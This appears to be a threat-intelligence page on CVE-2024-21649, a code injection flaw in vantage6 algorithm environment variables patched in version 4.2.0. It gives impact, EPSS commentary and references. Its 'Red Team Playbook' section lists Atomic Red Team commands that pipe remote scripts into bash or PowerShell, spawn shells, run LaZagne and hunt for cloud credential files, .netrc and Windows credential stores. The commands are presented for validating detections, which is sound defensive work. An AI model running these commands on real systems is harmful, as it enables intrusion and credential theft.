CVE-2024-21649
Overview
This vulnerability is a code injection flaw rooted in improper sanitization of algorithm environment variables within vantage6. Authenticated users can insert arbitrary code into these environment variables, which are executed in the algorithm runtime environment. The affected component is the algorithm execution environment handling user-supplied environment variables prior to version 4.2.0.
Vulnerability Description
The vantage6 technology enables to manage and deploy privacy enhancing technologies like Federated Learning (FL) and Multi-Party Computation (MPC). Prior to 4.2.0, authenticated users could inject code into algorithm environment variables, resulting in remote code execution. This vulnerability is patched in 4.2.0.
Impact
An attacker with valid authentication can execute arbitrary code remotely within the vantage6 algorithm execution environment by injecting commands into environment variables. This requires authenticated access but no user interaction beyond submission of malicious environment variables. Successful exploitation can lead to full compromise of the affected system’s execution context, including data manipulation, unauthorized access to sensitive information, and potential lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network attack with low complexity and requires privileges but no user interaction.
Solution
Upgrade vantage6 to version 4.2.0 or later, where this vulnerability is patched as per the advisory GHSA-w9h2-px87-74vx on the official GitHub repository. The fix is included in commit eac19db737145d3ca987adf037a454fae0790ddd. Administrators should follow the vendor’s update instructions provided in the advisory to apply the patch and mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Vantage6 technology arises from improper handling of user inputs within the algorithm environment variables. Specifically, prior to version 4.2.0, authenticated users were able to inject arbitrary code into these environment variables, which could then be executed in the context of the application. This flaw stems from insufficient validation and sanitization of user inputs, allowing malicious actors to manipulate the execution environment. The consequence of this oversight is the potential for remote code execution, where an attacker could execute arbitrary commands on the server hosting the Vantage6 application, leading to a complete compromise of the system.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated user, who may have legitimate access to the Vantage6 platform, could craft a request that includes malicious code in the environment variables. This could be achieved through a web interface or API calls, where the application fails to properly validate the input before processing it. Once the code is injected, it could be executed with the same privileges as the application, allowing the attacker to perform actions such as data exfiltration, system manipulation, or lateral movement within the network. The ease of exploitation, combined with the requirement for only authenticated access, increases the risk significantly, especially in environments where user accounts may be compromised or misused.
The real-world impact of this vulnerability is substantial, particularly for organizations leveraging Vantage6 for privacy-enhancing technologies like Federated Learning and Multi-Party Computation. The ability to execute arbitrary code could lead to the exposure of sensitive data, undermining the very privacy protections that these technologies aim to provide. Additionally, the potential for disruption of services or manipulation of algorithms could result in significant operational downtime and loss of trust from clients and partners. The business risk extends beyond immediate financial losses; it also encompasses reputational damage and potential legal ramifications stemming from data breaches or non-compliance with privacy regulations.
To effectively detect and mitigate this vulnerability, organizations should prioritize upgrading to version 4.2.0 or later, where the issue has been addressed. Regularly updating software and applying security patches is a fundamental practice in maintaining a secure environment. In addition to patch management, organizations should implement robust input validation and sanitization processes to prevent similar vulnerabilities from being introduced in the future. Employing security monitoring tools can also help in detecting anomalous behavior indicative of exploitation attempts, such as unusual API calls or unexpected changes in environment variables. Furthermore, conducting regular security assessments and penetration testing can help identify and remediate potential weaknesses before they can be exploited.
In conclusion, the vulnerability within the Vantage6 technology represents a critical risk for organizations utilizing this platform for privacy-enhancing technologies. The potential for remote code execution through improper input handling underscores the importance of rigorous security practices, including timely updates, input validation, and continuous monitoring. By adopting a proactive approach to cybersecurity, organizations can mitigate the risks associated with this vulnerability and safeguard their sensitive data and operational integrity.
CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-21649, rising by nearly 27%. This shift indicates a growing likelihood that threat actors may prioritize attempts to exploit the remote code execution vulnerability in vantage6 environments that remain unpatched. Although our telemetry does not currently show new exploit techniques or active campaigns leveraging this flaw, the elevated EPSS score reflects increased interest or preparatory activity within attacker communities. For defenders, this signals a heightened risk window where the vulnerability could become a more attractive target, especially given its high severity and potential impact on privacy-enhancing technology deployments. Consequently, the threat level should be considered elevated from moderate to high vigilance, underscoring the importance of ongoing monitoring for exploitation attempts and reinforcing the urgency of patch management.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vantage6 | Vantage6 | All |
cpe:2.3:a:vantage6:vantage6:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-21649 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/vantage6/vantage6/security/advisories/GHSA-w9h2-px87-74vx |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/vantage6/vantage6/commit/eac19db737145d3ca987adf037a454fae0790ddd |